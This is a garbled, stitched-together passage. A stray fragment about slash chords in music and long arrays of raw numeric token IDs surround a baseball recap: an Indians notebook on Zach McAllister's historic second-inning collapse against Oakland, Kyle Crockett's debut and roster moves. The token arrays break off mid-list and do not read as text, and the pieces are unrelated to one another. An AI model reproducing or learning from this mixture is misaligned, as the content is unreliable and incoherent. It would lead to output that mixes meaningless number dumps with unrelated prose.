the bass of the chord. For example, G/B = a G chord with a B note in the bass. D/F# = a D chord with an F# note in the bass. You
[ 250, 14331, 47436, 15, 1583, 452, 1270, 5017, 15, 1876, 253, 1072, 13, 323, 4227, 13, 1810, 379, 8260, 3063, 13, 344, 369, 6108, 15254, 4766, 4321, 275, 253, 2165, 13, 285, 359, 497, 2403, 779, 2075, 15, 754, 457, 84, 1694, 253, 1511, 273, 5017, 326, 344, 476, 755, 1977, 342, 6108, 5017, 275, 253, 4766, 273, 253, 8232, 13, 533, 672, 776, 8399, 310, 3511, 751, 352, 369, 3063, 13, 359, 497, 2509, 247, 1175, 2628, 273, 6276, 253, 4023, 15, 187, 187, 1628, 1328, 9090, 11371, 1066, 275, 253, 1996, 28828, 13, 533, 667, 673, 368, 1691, 598, 5093, 327, 253, 19485, 272, 12552, 10231, 13688, 13, 309, 1158, 326, 457, 84, 247, 3965, 1175, 1388, 15, 9240, 6068, 403, 789, 4210, 265, 15, 21836, 253, 22791, 310, 323, 247, 2622, 4983, 31021, 13, 2233, 41095, 13, 1110, 6068, 403, 1900, 1469, 9199, 14, 8193, 15, 1583, 6008, 28828, 347, 1199, 347, 667, 31021, 13, 327, 1755, 273, 1907, 14331, 5017, 15, 9240, 403, 767, 6068, 326, 11648, 651, 2389, 281, 452, 387, 253, 1755, 273, 616, 9381, 1425, 187, 187, 4237, 26963, 27, 1707, 588, 320, 22970, 9727, 3551, 323, 253, 16869, 327, 8216, 15, 2732, 1469, 949, 253, 2862, 12156, 3878, 313, 3113, 253, 6517, 273, 48545, 14272, 10, 285, 970, 6270, 3642, 13, 19802, 588, 878, 247, 26023, 323, 8216, 285, 671, 690, 6619, 28432, 942, 15, 5761, 4983, 36456, 15018, 403, 987, 14, 4608, 398, 25856, 35693, 285, 35382, 16456, 11005, 13, 949, 6747, 403, 327, 253, 3387, 14, 1342, 22970, 15, 329, 6774, 2118, 651, 320, 2424, 15, 418, 832, 555, 308, 15, 43, 15, 3995, 651, 1056, 3282, 13, 533, 344, 369, 816, 4500, 264, 896, 281, 36216, 14, 34, 7948, 13, 594, 344, 310, 417, 13410, 281, 1705, 896, 2568, 313, 28558, 3095, 310, 4845, 327, 253, 13603, 1618, 481, 1284, 323, 3044, 3074, 2131, 13, 309, 457, 78, 417, 2119, 752, 253, 42421, 476, 513, 15, 2726, 642, 745, 14, 1201, 13, 3044, 3074, 2131, 476, 457, 85, 320, 37001, 15, 754, 812, 320, 2197, 1066, 13, 533, 627, 457, 84, 642, 2590, 5407, 387, 253, 2774, 15, 10154, 90, 20882, 6470, 25151, 369, 4500, 264, 327, 6794, 13, 594, 344, 457, 84, 417, 13410, 281, 1091, 407, 3044, 3074, 2131, 457, 84, 1735, 11526, 1614, 13, 2057, 15, 8948, 597, 476, 1642, 16553, 12024, 1369, 74, 604, 521, 987, 34376, 310, 1335, 25132, 32, 844, 457, 620, 1089, 562, 8216, 752, 253, 9727, 588, 320, 15, 19802, 574, 247, 8630, 281, 19585, 281, 5834, 846, 8330, 457, 84, 4274, 6929, 15, 187, 187, 31190, 27, 309, 588, 320, 745, 323, 253, 15146, 3971, 7408, 949, 19585, 285, 8068, 15, 46769, 12669, 16869, 15, 681, 285, 1563, 1214, 85, 29798, 968, 1334, 285, 1214, 8207, 2458, 323, 11269, 15, 48678, 479, 13, 309, 457, 69, 1199, 2581, 320, 16116, 253, 3971, 15, 309, 457, 78, 1907, 619, 15799, 9970, 5176, 436, 2129, 15, 7088, 2069, 2, 187, 187, 510, 7237, 3407, 342, 253, 3668, 326, 253, 16869, 574, 2096, 1598, 1471, 4225, 15586, 26023, 20882, 6470, 25151, 281, 36216, 14, 34, 15, 380, 2360, 7402, 342, 247, 298, 2695, 1356, 2957, 27251, 432, 247, 502, 3938, 254, 273, 271, 562, 272, 432, 33208, 3044, 3074, 2131, 15, 187, 187, 1276, 369, 594, 44229, 272, 670, 3044, 3074, 2131, 457, 84, 2360, 369, 253, 15925, 5133, 275, 534, 352, 3407, 15, 380, 987, 90, 873, 1066, 330, 16856, 27936, 81, 13, 2516, 500, 284, 80, 285, 15698, 399, 2814, 1397, 251, 275, 1340, 281, 1527, 253, 2165, 13, 13631, 1016, 273, 731, 562, 285, 15950, 1903, 273, 521, 806, 1668, 41095, 323, 18200, 15, 187, 187, 1628, 35384, 13, 253, 806, 40762, 13, 344, 2210, 562, 1663, 1175, 1806, 16869, 7205, 21638, 22976, 585, 66, 753, 15, 773, 1328, 13222, 690, 273, 521, 1805, 10155, 15254, 326, 359, 457, 306, 2326, 15, 754, 2238, 273, 574, 690, 1612, 281, 352, 1425, 187, 187, 1898, 840, 275, 253, 1273, 40762, 2866, 187, 187, 4497, 13, 1339, 457, 84, 816, 1333, 326, 253, 19779, 1255, 342, 534, 3044, 3074, 2131, 6497, 7419, 369, 14464, 15, 4794, 281, 2561, 949, 14623, 14, 14005, 15, 681, 457, 84, 10223, 13193, 13, 352, 7101, 253, 806, 673, 275, 253, 2469, 2233, 1107, 273, 14623, 326, 247, 11432, 6884, 26023, 10903, 562, 253, 1930, 275, 1340, 275, 253, 806, 1078, 6941, 387, 1878, 4314, 6613, 275, 253, 1273, 13, 2190, 47436, 342, 642, 625, 685, 767, 28828, 24917, 15, 187, 187, 688, 337, 15, 18, 28828, 273, 789, 13, 3044, 3074, 2131, 369, 6636, 342, 4314, 6613, 327, 2620, 12830, 342, 1264, 16771, 13, 1264, 9974, 8349, 285, 767, 1728, 6613, 15, 754, 7402, 342, 8255, 41095, 13, 1690, 3285, 18200, 15, 187, 187, 1909, 776, 3858, 689, 387, 1281, 84, 6826, 53, 29798, 15, 681, 8042, 562, 13, 3044, 3074, 2131, 457, 84, 3045, 2036, 8659, 247, 4016, 2165, 4868, 3383, 21, 481, 2064, 1160, 352, 760, 253, 15515, 4016, 2165, 4868, 407, 271, 16869, 31021, 13, 13597, 896, 281, 387, 1878, 26478, 15, 2064, 1618, 3797, 8444, 21987, 90, 3383, 18, 327, 3747, 15, 1638, 13, 8065, 582, 8679, 401, 7707, 3383, 1010, 327, 3747, 15, 3436, 13, 26421, 582, 36999, 388, 6227, 22374, 3383, 21, 327, 4163, 1638, 13, 29175, 582, 22810, 6939, 75, 316, 3383, 1731, 327, 4163, 2030, 13, 29063, 10, 285, 9915, 27700, 1137, 3383, 18, 327, 3978, 1668, 13, 31610, 481, 187, 187, 11773, 3074, 2131, 457, 84, 369, 760, 253, 28023, 2165, 4868, 273, 428, 21, 390, 7197, 342, 642, 625, 685, 337, 15, 18, 28828, 24917, 275, 253, 2469, 2233, 1107, 273, 3817, 7363, 15, 380, 1390, 824, 12340, 369, 327, 3747, 15, 1722, 13, 4695, 13, 672, 14468, 378, 1136, 2131, 14123, 326, 42326, 8151, 323, 15391, 3228, 15, 187, 187, 1628, 688, 253, 1273, 40762, 273, 247, 2165, 1806, 22976, 585, 66, 753, 13, 773, 5658, 971, 281, 1918, 247, 5599, 247, 4839, 281, 755, 949, 352, 15, 8948, 344, 476, 9580, 2994, 15, 4952, 604, 368, 564, 1740, 544, 32599, 1092, 368, 457, 250, 417, 715, 634, 12156, 3878, 275, 634, 1273, 40762, 15, 1292, 13, 352, 816, 3589, 457, 85, 9369, 1425, 187, 187, 3378, 326, 2957, 13, 3044, 3074, 2131, 457, 84, 2952, 38233, 23470, 264, 432, 495, 15, 2511, 281, 608, 15, 1812, 15, 380, 987, 90, 310, 1024, 470, 14, 21, 342, 271, 854, 15, 3547, 38233, 275, 521, 1390, 2620, 7866, 313, 455, 2620, 497, 11655, 323, 253, 16869, 481, 496, 326, 13905, 13, 344, 556, 2164, 9974, 8349, 285, 884, 16771, 342, 247, 964, 20914, 313, 1630, 14, 1542, 14, 2511, 10, 18062, 457, 3388, 15, 380, 4314, 6613, 327, 6794, 5604, 8413, 8819, 1841, 627, 13, 533, 352, 457, 84, 1335, 247, 14138, 5926, 14, 2727, 432, 521, 806, 1740, 7866, 273, 253, 807, 15, 496, 326, 673, 2180, 13, 344, 2427, 495, 14, 17, 342, 247, 374, 15, 1619, 38233, 285, 964, 22187, 313, 1797, 14, 1542, 14, 2270, 10, 18062, 457, 3388, 15, 19802, 1912, 512, 1740, 3958, 285, 344, 574, 1722, 9974, 8349, 285, 5093, 16771, 15, 187, 187, 1628, 42, 871, 309, 6468, 457, 85, 33517, 619, 1682, 1806, 3044, 3074, 2131, 753, 15, 773, 32102, 13, 368, 457, 250, 1469, 281, 452, 690, 13596, 285, 42919, 15, 10154, 1024, 13, 309, 457, 78, 1066, 13, 347, 2080, 347, 253, 1039, 309, 457, 306, 644, 36456, 21403, 15, 309, 871, 309, 457, 306, 1694, 281, 755, 896, 598, 281, 326, 4766, 3216, 285, 11288, 1805, 1425, 187, 187, 44630, 585, 66, 753, 3044, 3074, 2131, 457, 84, 4836, 1024, 310, 281, 11823, 253, 3904, 285, 8588, 253, 1655, 9902, 15, 187, 187, 48392, 1328, 556, 62, 281, 320, 2266, 2217, 23198, 281, 2096, 326, 344, 310, 247, 1175, 31021, 1806, 22976, 585, 66, 753, 15, 773, 1147, 1537, 1379, 247, 1223, 281, 755, 326, 38233, 281, 835, 344, 457, 84, 9848, 13, 533, 326, 2506, 457, 85, 1599, 344, 476, 457, 85, 3330, 1425, 187, 187, 2354, 5707, 37, 27, 1621, 581, 3264, 29938, 458, 30399, 25856, 13198, 777, 3592, 281, 3986, 253, 18410, 641, 347, 3809, 347, 344, 858, 15, 754, 369, 1925, 598, 432, 18603, 14, 34, 14181, 1406, 327, 6794, 13, 2403, 779, 253, 806, 4760, 432, 253, 1052, 1012, 28701, 281, 3986, 253, 18410, 641, 15, 1893, 13, 352, 4455, 13532, 326, 13198, 777, 3592, 457, 84, 36481, 11386, 2210, 19473, 685, 3264, 13, 1512, 15, 187, 187, 10758, 3044, 3074, 2131, 457, 84, 23490, 4925, 253, 246, 8201, 1127, 13, 22976, 585, 66, 3982, 253, 3307, 14, 2913, 14, 744, 13198, 777, 3592, 715, 253, 12417, 342, 581, 562, 275, 253, 1273, 40762, 15, 380, 1669, 14, 4608, 254, 3053, 342, 247, 2940, 281, 34186, 13, 533, 4541, 12372, 407, 24635, 271, 40762, 14, 1946, 4021, 1993, 3216, 483, 432, 44533, 9357, 265, 15, 22976, 585, 66, 1339, 13198, 777, 3592, 3297, 327, 253, 13599, 275, 253, 2626, 13, 285, 344, 3534, 598, 247, 1421, 2727, 2860, 254, 281, 11578, 6595, 285, 247, 2014, 281, 48021, 1078, 42200, 253, 2457, 767, 10464, 1336, 344, 11372, 15, 187, 187, 1628, 42, 1869, 344, 369, 11219, 13, 534, 310, 281, 320, 3264, 1806, 22976, 585, 66, 753, 15, 773, 10758, 344, 3534, 598, 253, 1728, 1408, 13, 309, 1869, 344, 11371, 1066, 247, 1652, 2372, 285, 2686, 13222, 253, 4023, 751, 344, 476, 15, 754, 457, 620, 320, 247, 3923, 5599, 15, 43935, 13, 344, 369, 340, 41988, 690, 41095, 15, 309, 1869, 352, 369, 1175, 281, 755, 326, 806, 581, 562, 273, 253, 1039, 323, 779, 285, 1339, 779, 16359, 275, 1425, 187, 187, 3886, 46000, 27, 329, 457, 84, 987, 14, 4608, 254, 11832, 5134, 18707, 313, 22, 14, 18, 13, 374, 15, 740, 38233, 10, 310, 1175, 2217, 1293, 247, 5699, 19176, 273, 1408, 1329, 15, 1893, 13, 2378, 253, 987, 14, 4608, 254, 574, 271, 854, 14, 18, 1421, 13, 344, 268, 8055, 253, 9974, 8232, 285, 5385, 1701, 949, 2800, 13009, 546, 7622, 281, 253, 3330, 15, 18707, 10903, 562, 7457, 13, 7428, 1264, 285, 17485, 767, 12830, 15, 187, 187, 1628, 1328, 457, 84, 247, 3965, 2714, 31021, 1806, 22976, 585, 66, 753, 15, 773, 1328, 457, 84, 417, 253, 5962, 5599, 275, 253, 1533, 13, 533, 344, 476, 2624, 352, 13, 16338, 352, 13, 10155, 4023, 15, 329, 2257, 273, 776, 4680, 3063, 369, 13, 2802, 8262, 13, 672, 368, 755, 253, 806, 3809, 2910, 13, 604, 352, 457, 84, 4766, 13, 564, 6386, 285, 364, 471, 352, 13, 984, 344, 2506, 457, 85, 1918, 368, 1199, 846, 326, 9027, 187, 187, 1628, 5872, 13, 672, 368, 755, 247, 1421, 751, 344, 574, 13, 326, 2238, 273, 7120, 987, 715, 544, 8701, 1133, 1570, 2732, 253, 806, 673, 949, 253, 1340, 13, 637, 13, 344, 457, 69, 755, 281, 767, 18200, 285, 344, 457, 69, 816, 1691, 441, 1977, 15, 754, 457, 84, 1694, 594, 1142, 8914, 15, 380, 1943, 10155, 4023, 15, 754, 457, 84, 1694, 247, 3809, 2910, 342, 4866, 285, 344, 13896, 594, 973, 1425, 187, 187, 30851, 27, 3105, 760, 858, 3044, 3074, 2131, 1705, 562, 14954, 275, 253, 806, 40762, 13, 253, 16869, 457, 2959, 247, 14088, 2860, 254, 432, 13104, 4235, 6850, 313, 8701, 806, 17916, 1580, 4162, 1249, 10, 275, 253, 5909, 3665, 281, 10013, 247, 3158, 1421, 15, 733, 457, 84, 8644, 13, 2167, 13, 849, 247, 2165, 476, 1928, 689, 760, 247, 2716, 14, 249, 920, 1996, 15, 11977, 27373, 457, 84, 4314, 14, 6321, 562, 28754, 13, 19802, 457, 84, 8399, 2427, 374, 14, 1542, 14, 1731, 342, 1249, 9974, 8349, 15, 380, 16869, 574, 347, 1142, 6332, 313, 9389, 10, 275, 253, 1673, 347, 12830, 745, 18707, 285, 253, 329, 457, 84, 574, 625, 1728, 6613, 313, 13524, 10, 685, 253, 42421, 574, 30451, 275, 14755, 1899, 15, 187, 187, 2512, 497, 1643, 37865, 281, 320, 1119, 275, 436, 581, 15, 380, 8230, 483, 858, 1918, 22976, 585, 66, 253, 4839, 281, 755, 13198, 777, 3592, 521, 806, 7286, 275, 253, 18410, 641, 13, 285, 253, 5107, 281, 755, 10035, 8784, 3205, 285, 7670, 42535, 1858, 616, 806, 5249, 789, 275, 4055, 1673, 285, 387, 2626, 2613, 13, 2975, 15, 23316 ]	re incredible pitchers. They have great stuff. All the same, for instance, Scherzer today, he was leaving balls middle earlier in the game, and we were making him pay. He’s got the type of stuff that he can get away with leaving stuff in the middle of the zone, but when our offense is hot like it was today, we were doing a good job of driving the ball. “He obviously settled down in the later innings, but any time you put up seven on the reigning Cy Young winner, I think that’s a pretty good day. Those guys are workhorses. Whatever the benchmark is for a normal starting pitcher, 100 pitches, those guys are always going 110-120. They eat innings as much as any pitcher, on top of having incredible stuff. Those are two guys that everybody would love to have at the top of their rotation.” EXTRA: There will be roster moves coming for the Indians on Thursday. After going through the entire bullpen (with the exception of Cody Allen) and using Tomlin, Cleveland will need a starter for Thursday and also some relief reinforcements. Two starting pitching possibilities are right-handers Kyle Davies and Travis Banwart, through neither are on the 40-man roster. A subsequent move would be required. Lefty T.J. House would make sense, but he was just optioned back to Triple-A Tuesday, so he is not eligible to come back yet (unless someone is placed on the disabled list). As for McAllister, I’m not sure what the Tribe can do. With no off-day, McAllister can’t be skipped. He could be sent down, but there’s no clear replacement at the moment. Righty Danny Salazar was optioned on Friday, so he’s not eligible to return by McAllister’s next scheduled turn, either. Maybe they can ask Jason Giambi if his right calf is still sore? We’ll find out Thursday what the moves will be. Cleveland had a flight to Baltimore to catch after Wednesday’s debacle. NOTE: I will be off for the upcoming road trip through Baltimore and Chicago. Keeping checking Indians.com and following @tribeinsider and @Indians for updates. Believe me, I’d much rather be hitting the road. I’m having my wisdom teeth removed this week. Good times! The evening began with the news that the Indians had understandably demoted struggling starter Danny Salazar to Triple-A. The night ended with a lopsided loss carved from a clunker of an outing from Zach McAllister. What was so perplexing about McAllister’s night was the brilliant manner in which it began. The righty set down Coco Crisp, John Jaso and Josh Donaldson in order to open the game, striking each of them out and throwing 11 of his first 16 pitches for strikes. “Boy, the first inning, he came out really good,” Indians manager Terry Francona said. “He threw some of his better breaking balls that we’ve seen. He kind of had some power to it.” And then in the second inning… Well, let’s just say that the swiftness with which McAllister fell apart was historic. According to research through baseball-reference.com’s Play Index, it marked the first time in the past 100 years of baseball that a Major League starter struck out the side in order in the first before allowing at least eight runs in the second, among pitchers with no more than two innings logged. In 1.1 innings of work, McAllister was charged with eight runs on five hits with three walks, three strikeouts and two home runs. He ended with 54 pitches, including 29 strikes. As our friends over at LetsGoTribe.com pointed out, McAllister’s performance netted a negative game score (-4). That made it only the sixth negative game score by an Indians pitcher, dating back to at least 1914. That list includes Charles Nagy (-1 on Aug. 14, 1998), Bob Feller (-15 on Aug. 26, 1938), Oral Hildebrand (-4 on July 14, 1935), Johnny Miljus (-26 on July 25, 1929) and Joe Shaute (-1 on June 16, 1925). McAllister’s was only the ninth game score of -4 or worse with no more than 1.1 innings logged in the past 100 years of box scores. The last such occurrence was on Aug. 17, 2008, when Brian Bannister accomplished that dubious feat for Kansas City. “In the second inning of a game,” Francona said, “you want to give a guy a chance to get through it. Maybe he can gather himself. Even if you go four [innings], you’re not into your bullpen in your second inning. But, it just wasn’t happening.” With that loss, McAllister’s season ERA ballooned from 3.89 to 5.36. The righty is now 0-4 with an 8.72 ERA in his last five starts (all five were losses for the Indians). In that span, he has 24 strikeouts and 10 walks with a.303 (27-for-89) opponents’ average. The eight runs on Friday certainly skews things there, but it’s still a dramatic drop-off from his first four starts of the year. In that time period, he went 3-0 with a 2.28 ERA and.233 (21-for-90) opponents’ average. Cleveland won all four games and he had 17 strikeouts and seven walks. “I know I haven’t pitched my best,” McAllister said. “Obviously, you’re going to have some peaks and valleys. Right now, I’m down, as far as the way I’ve been pitching lately. I know I’ve got to get back up to that middle ground and pitch better.” Francona said McAllister’s task now is to ignore the numbers and weather the current storm. “[He has] to be strong enough mentally to understand that he is a good pitcher,” Francona said. “It might take a while to get that ERA to where he’s comfortable, but that doesn’t mean he can’t win.” SECOND: No one expected rookie lefty Kyle Crockett to reach the Majors as fast as he did. He was called up from Double-A Akron on Friday, making him the first player from the 20013 Draft to reach the Majors. So, it seemed fitting that Crockett’s MLB debut came sooner than expected, too. Once McAllister’s struggles reached the tipping point, Francona brought the 22-year-old Crockett into the contest with one out in the second inning. The left-hander started with a walk to Moss, but quickly recovered by inducing an inning-ending doubleplay groundout from Cespedes. Francona let Crockett stay on the hill in the third, and he gave up a leadoff homer to Lowrie and a single to Norris before retiring the final two batters he faced. “I thought he was nervous, which is to be expected,” Francona said. “Once he gave up the home run, I thought he settled down a little bit and actually threw the ball like he can. He’ll be a command guy. Tonight, he was yanking some pitches. I thought it was good to get that first one out of the way for him and let him settle in.” THIRD: A’s right-hander Sonny Gray (5-1, 2.10 ERA) is good enough without a huge pile of run support. So, once the right-hander had an 8-1 lead, he pounded the strike zone and cruised through six frames en route to the win. Gray struck out nine, walked three and scattered two hits. “He’s a pretty special pitcher,” Francona said. “He’s not the biggest guy in the world, but he can cut it, sink it, breaking ball. A lot of our thinking today was, ‘Hey, when you get the first fastball, if it’s middle, go ahead and whack it, because he doesn’t give you much after that.’ “Then, when you get a lead like he had, that kind of plays right into [his hand]. After the first time through the order, man, he’d get to two strikes and he’d just put us away. He’s got so many weapons. The big breaking ball. He’s got a fastball with movement and he commands so well.” HOME: Not only did McAllister come out firing in the first inning, the Indians’ received a solo homer from Nick Swisher (his first blast since April 12) in the opening frame to grab a quick lead. It’s amazing, though, how a game can feel over only a half-inning later. Following Oakland’s eight-run outburst, Cleveland’s offense went 2-for-26 with 12 strikeouts. The Indians had as many errors (two) in the field as hits off Gray and the A’s had more home runs (three) than the Tribe had runners in scoring position. There were few positives to be found in this one. The blowout did give Francona the chance to get Crockett his first appearance in the Majors, and the opportunity to get Mike Aviles and Jesus Aguilar their first career work in center field and at third base, respectively. Carlos
[ 5416, 326, 597, 452, 253, 987, 281, 10078, 275, 253, 14964, 342, 2743, 281, 2626, 7732, 4802, 281, 253, 3275, 273, 4236, 6590, 390, 10556, 15, 380, 14964, 11766, 17587, 313, 395, 1620, 7260, 10, 9273, 8128, 285, 352, 310, 8025, 326, 667, 3085, 9262, 1293, 2173, 3806, 281, 247, 9521, 9273, 9801, 275, 253, 3835, 4857, 310, 1097, 2130, 281, 320, 22546, 13, 342, 642, 4320, 13133, 13, 285, 1293, 15355, 273, 247, 9801, 1146, 5087, 15, 187, 187, 510, 14964, 23003, 253, 987, 281, 16410, 390, 14002, 253, 12378, 273, 667, 3379, 14320, 273, 12497, 3290, 15, 187, 187, 17919, 708, 5259, 414, 187, 187, 2042, 634, 3085, 390, 3492, 310, 4236, 281, 3601, 387, 253, 14964, 13, 368, 588, 320, 2546, 281, 2085, 27, 6423, 434, 9015, 285, 3085, 3756, 16, 87, 504, 3756, 13, 270, 7, 88, 285, 16, 263, 3295, 1335, 84, 432, 253, 3085, 13, 2315, 4753, 13, 285, 3492, 19150, 313, 338, 2130, 481, 187, 187, 27302, 3390, 708, 18165, 187, 187, 38861, 84, 432, 253, 3420, 588, 5752, 347, 38919, 16006, 273, 4236, 6590, 15, 16925, 33573, 41670, 285, 12469, 1482, 18165, 588, 320, 3559, 281, 253, 1682, 3085, 390, 3492, 275, 1016, 7140, 15, 187, 187, 2809, 8201, 187, 187, 510, 2105, 273, 15076, 247, 19529, 281, 253, 14964, 1364, 320, 5087, 407, 253, 994, 4991, 15, 7764, 513, 417, 5007, 35103, 275, 9538, 14, 14653, 48880, 13, 347, 616, 16558, 28478, 33942, 285, 6500, 15, 1916, 4044, 19313, 273, 17191, 13, 4496, 2486, 247, 1881, 14, 1911, 2079, 13, 43407, 1501, 9290, 15, 4974, 2230, 33942, 588, 417, 320, 4895, 5734, 5010, 9521, 15, 380, 14964, 588, 2075, 323, 581, 14, 1106, 15076, 313, 74, 15, 70, 904, 1091, 10, 273, 22774, 273, 4236, 6590, 285, 10556, 15, 1876, 643, 15076, 7260, 403, 253, 8294, 273, 253, 994, 4991, 15, 187, 187, 6802, 7662, 14297, 187, 187, 28645, 5010, 9521, 13, 3085, 285, 3492, 35103, 4236, 323, 9273, 4098, 253, 36405, 15913, 285, 11412, 14964, 253, 3570, 281, 897, 4886, 2460, 32491, 84, 13, 3275, 1335, 84, 13, 285, 1491, 432, 253, 3085, 390, 3492, 323, 32223, 6378, 15, 187, 187, 17448, 1430, 187, 187, 8267, 47644, 588, 320, 25796, 275, 10885, 33942, 285, 6590, 15, 1723, 13, 943, 247, 3379, 320, 3663, 390, 13572, 13, 253, 14964, 588, 2997, 8294, 323, 253, 2180, 273, 673, 326, 253, 3379, 310, 275, 253, 10023, 273, 253, 36405, 15913, 285, 11412, 14964, 13, 285, 588, 27533, 253, 1318, 273, 253, 3492, 390, 3085, 313, 263, 629, 10445, 10, 760, 15, 3166, 417, 5007, 3236, 22774, 390, 33942, 15, 187, 187, 29011, 593, 273, 16228, 187, 187, 47177, 318, 275, 253, 14964, 8018, 14924, 273, 512, 14964, 4803, 285, 10132, 15, 24925, 13, 187, 187, 34, 2201, 4849, 273, 26658, 2596, 29247, 631, 16407, 5280, 571, 1690, 247, 11161, 44152, 33141, 443, 6901, 342, 271, 5998, 1318, 273, 370, 1518, 13, 933, 588, 320, 22685, 264, 387, 15908, 296, 6169, 436, 1770, 15, 733, 310, 2529, 407, 581, 6485, 347, 253, 6253, 2014, 4849, 273, 26658, 2596, 44152, 3236, 16407, 5280, 571, 281, 1705, 4830, 253, 1980, 2791, 275, 625, 685, 1884, 1107, 15, 380, 4849, 273, 253, 3563, 3035, 8636, 3277, 37964, 3797, 3210, 13, 32622, 13, 31942, 1507, 13, 23854, 13, 5098, 13, 5492, 19519, 13, 19708, 1507, 13, 246, 14, 39529, 13, 12201, 285, 625, 15, 3035, 8636, 369, 247, 3963, 7731, 387, 253, 31449, 631, 26729, 13, 3684, 15908, 296, 6169, 323, 689, 2030, 1107, 717, 38046, 247, 1781, 4849, 273, 29247, 631, 16407, 5280, 571, 15, 754, 4817, 1977, 1390, 4437, 846, 247, 1048, 9749, 387, 253, 2363, 273, 5571, 15, 3032, 4475, 10876, 2485, 310, 4886, 715, 4577, 23241, 285, 3198, 5580, 3035, 8636, 434, 4849, 15, 380, 22685, 310, 1146, 15726, 407, 31449, 631, 26729, 7015, 9165, 15435, 7213, 265, 665, 2529, 352, 347, 247, 581, 14, 249, 14, 66, 14, 6458, 7816, 5107, 323, 26658, 2596, 29247, 631, 7458, 15, 346, 42, 1849, 1620, 2326, 824, 247, 4849, 594, 8485, 275, 619, 4567, 1107, 273, 2509, 29247, 631, 16407, 5280, 571, 937, 15435, 753, 15, 346, 3546, 8636, 369, 247, 2201, 44152, 7989, 13, 594, 368, 476, 8564, 752, 344, 5728, 937, 15435, 753, 15, 346, 1328, 369, 247, 44152, 21514, 407, 2798, 285, 7765, 15, 346, 2512, 403, 12660, 8783, 642, 15917, 15, 4683, 841, 13, 627, 403, 1384, 8783, 342, 247, 1077, 1698, 4376, 6642, 15, 346, 2512, 588, 320, 9828, 273, 14862, 1550, 449, 380, 3035, 8636, 3277, 37964, 20718, 329, 14684, 588, 320, 2918, 387, 380, 367, 2966, 6929, 3684, 15908, 296, 6169, 13, 6926, 13, 4162, 1638, 432, 1903, 312, 15, 9182, 272, 588, 320, 387, 380, 367, 2966, 6929, 327, 7814, 13, 4162, 2145, 432, 1903, 312, 281, 577, 2617, 15, 380, 8783, 403, 512, 7117, 342, 7963, 1060, 187, 187, 3614, 1358, 9866, 303, 7332, 14, 66, 15, 518, 312, 2284, 13838, 15, 3024, 16, 16702, 16, 87, 18, 16, 68, 1658, 16, 925, 78, 16, 20, 54, 4196, 36, 3696, 25, 40, 25, 51, 26, 14059, 58, 15453, 50, 87, 43, 58, 20, 16, 70, 17, 70, 23, 70, 2950, 71, 14, 41280, 67, 14, 21, 70, 3953, 14, 26, 19630, 14, 18, 317, 69, 11316, 7174, 12781, 15, 43, 11070, 16, 83, 17, 64, 18202, 64, 1237, 1540, 64, 938, 3712, 64, 88, 32158, 64, 73, 25025, 64, 71, 4090, 15, 11368, 47495, 15989, 37790, 9585, 403, 13864, 281, 10578, 32524, 10389, 5901, 347, 253, 9585, 457, 84, 3565, 5566, 14, 13263, 4760, 2440, 285, 9550, 7832, 323, 2952, 4240, 15, 510, 4345, 588, 923, 32524, 10389, 5901, 13, 2112, 342, 253, 21855, 4750, 10073, 275, 18723, 776, 745, 14, 13263, 3733, 13, 3520, 2440, 285, 9550, 5659, 13, 342, 1798, 15075, 327, 5249, 4730, 285, 2628, 21927, 3658, 323, 18250, 15989, 3773, 15, 6394, 14, 604, 964, 15888, 15, 25563, 8716, 15, 1221, 1075, 428, 599, 187, 6682, 8893, 27, 14604, 16, 87, 18, 187, 11258, 27, 21591, 187, 187, 21552, 27, 187, 50276, 1590, 27, 12033, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 14, 300, 78, 14, 1178, 350, 187, 50276, 12361, 27, 12033, 964, 15888, 15, 14456, 15, 12361, 12377, 187, 50276, 31294, 27, 187, 50274, 6394, 14, 2486, 346, 9784, 46341, 3, 964, 1040, 295, 31808, 577, 12377, 187, 187, 4157, 27, 187, 50276, 2135, 2727, 24314, 27, 470, 187, 50276, 19783, 1204, 27, 337, 187, 50276, 1440, 77, 41989, 4553, 17398, 1428, 27, 3925, 535, 50276, 8547, 27, 187, 50274, 21552, 27, 187, 50272, 1590, 27, 12033, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 14, 300, 78, 14, 1178, 350, 187, 50272, 31294, 27, 187, 50270, 6394, 14, 2486, 346, 9784, 46341, 3, 964, 1040, 295, 31808, 854, 12377, 535, 50274, 4157, 27, 187, 50272, 1120, 435, 20439, 27, 9018, 187, 50272, 1987, 39982, 27, 187, 50272, 14, 1416, 27, 12033, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 14, 300, 78, 14, 1178, 350, 14, 29871, 187, 50270, 5695, 27, 4569, 16, 31064, 27, 20, 15, 18, 187, 50270, 5695, 41262, 20439, 27, 346, 2042, 3650, 25582, 3, 187, 50270, 12540, 4509, 27, 187, 50268, 14, 3596, 6648, 7676, 27, 187, 50264, 1590, 27, 12033, 2486, 346, 25563, 15, 5397, 6648, 2402, 3, 964, 12377, 187, 50270, 21830, 27, 187, 50268, 10423, 27, 187, 50266, 19411, 27, 346, 1449, 78, 3, 187, 50266, 20704, 27, 346, 1237, 24711, 3, 187, 50270, 12467, 27, 187, 50270, 14, 439, 187, 50270, 14, 428, 68, 187, 50270, 14, 1040, 14, 187, 50268, 4, 34834, 4805, 16, 1200, 187, 50268, 2775, 5757, 64, 9536, 43615, 7646, 346, 25563, 15, 1590, 3, 964, 12377, 3, 187, 50268, 21273, 64, 1372, 2431, 1042, 568, 300, 78, 14, 5251, 14, 1178, 350, 15, 1200, 3, 187, 50268, 6394, 14, 2486, 346, 2808, 40541, 3, 964, 1040, 295, 31808, 884, 12377, 535, 50268, 2413, 6734, 551, 187, 50264, 6790, 1854, 31961, 18, 13272, 187, 50264, 338, 544, 428, 79, 26107, 3887, 17643, 1864, 64, 23131, 9536, 13272, 5032, 3857, 544, 428, 79, 26107, 3887, 17643, 1864, 64, 25692, 25981, 13272, 25896, 840, 187, 50262, 48121, 1864, 64, 37482, 24539, 86, 7224, 3887, 17643, 1864, 64, 23131, 9536, 17168, 8626, 3887, 17643, 1864, 64, 25692, 25981, 13272, 187, 50264, 7271, 187, 50262, 48121, 1864, 64, 37482, 5473, 8, 187, 50264, 11125, 187, 50264, 31064, 428, 57, 9278, 1969, 6343, 14, 483, 45768, 2413, 64, 3211, 94, 428, 84, 1969, 9252, 1227, 3620, 16, 8629, 428, 76, 1969, 24796, 7224, 48121, 1864, 64, 37482, 94, 35953, 964, 18992, 15, 2402, 1040, 5170, 209, 5000, 3887, 17643, 1864, 2354, 20756, 64, 21355, 8875, 64, 31621, 27, 26, 1518, 8626, 3967, 